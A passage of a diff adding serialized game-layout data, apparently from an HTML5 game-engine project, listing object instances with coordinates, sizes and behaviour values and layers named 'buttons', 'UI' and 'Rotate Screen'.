+ 1085.232666015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4241,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 217.5059204101563,
+ 993.0537719726562,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4242,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 217.5059204101563,
+ 1085.0537109375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4270,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -10,
+ 1077,
+ 0,
+ 543,
+ 250,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4768,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 418.0940856933594,
+ 910.7925415039062,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4271,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 420.023681640625,
+ 873,
+ 0,
+ 81,
+ 166,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4273,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 756.023681640625,
+ 1041.5,
+ 0,
+ 91,
+ 179,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4274,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053.913452148438,
+ 879.52880859375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4275,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1053.913452148438,
+ 971.52880859375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4276,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.953857421875,
+ 879.52880859375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4280,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1142.953857421875,
+ 971.52880859375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4282,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1231.994262695313,
+ 879.52880859375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4283,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1231.994262695313,
+ 971.52880859375,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4286,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1054.235595703125,
+ 1062.752319335938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4287,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1143.276000976563,
+ 1062.752319335938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4288,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1232.31640625,
+ 1062.752319335938,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4289,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1797,
+ 636,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 4291,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1829,
+ 636,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 4292,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1861,
+ 636,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 4293,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1812,
+ 846,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 4294,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1844,
+ 846,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 4295,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1925,
+ 926,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 4296,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1957,
+ 926,
+ 0,
+ 39,
+ 25,
+ 0,
+ 0,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ 0,
+ 0,
+ []
+ ],
+ 514,
+ 4315,
+ [],
+ [
+ [
+ 1
+ ],
+ [
+ 0,
+ 0,
+ 0,
+ 0.1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1944,
+ 885,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4316,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2116,
+ 935,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4323,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 584,
+ 1380,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4441,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 325,
+ 1538,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4442,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1010,
+ 1419,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4443,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1281,
+ 1491,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4444,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1576,
+ 1378,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4445,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1844,
+ 1491,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4446,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 285,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4457,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -88,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4458,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1037,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4459,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 664,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4460,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1789,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4461,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1416,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4462,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2541,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4463,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2168,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4464,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3293,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4465,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2920,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4466,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4045,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4467,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3672,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4468,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4796,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4469,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4423,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4470,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5548,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4471,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5175,
+ 1026,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4472,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2735,
+ 1481,
+ 0,
+ 5941,
+ 703,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 4473,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 407,
+ -74,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 4489,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2665,
+ 761.65087890625,
+ 0,
+ 111,
+ 430,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ 0,
+ 0,
+ []
+ ],
+ 547,
+ 6622,
+ [],
+ [],
+ [
+ 0,
+ "pega",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2335,
+ 945,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6779,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3963.65185546875,
+ 896.6769409179688,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 5103,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 782788148355284,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 124236688816004,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 5142,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 5143,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 5144,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 5145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 407.4129943847656,
+ 23.74300003051758,
+ 0,
+ 122,
+ 37,
+ 0,
+ 0,
+ 1,
+ 0.5655737519264221,
+ 0.5135135054588318,
+ 0,
+ 0,
+ []
+ ],
+ 526,
+ 5646,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401.4128723144531,
+ 61.74301147460938,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 4490,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388.4128723144531,
+ -1.256980895996094,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 4491,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27.41287231445313,
+ 21.74301910400391,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 4492,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119.4128723144531,
+ 24.74301910400391,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 4493,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75.41287231445312,
+ 24.74301910400391,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 4494,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400.4128723144531,
+ 441.7430419921875,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 4495,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 869,
+ -117,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 6606,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 410.5,
+ 235.5,
+ 0,
+ 867,
+ 563,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 5141,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 259497049370450,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 805504379549348,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
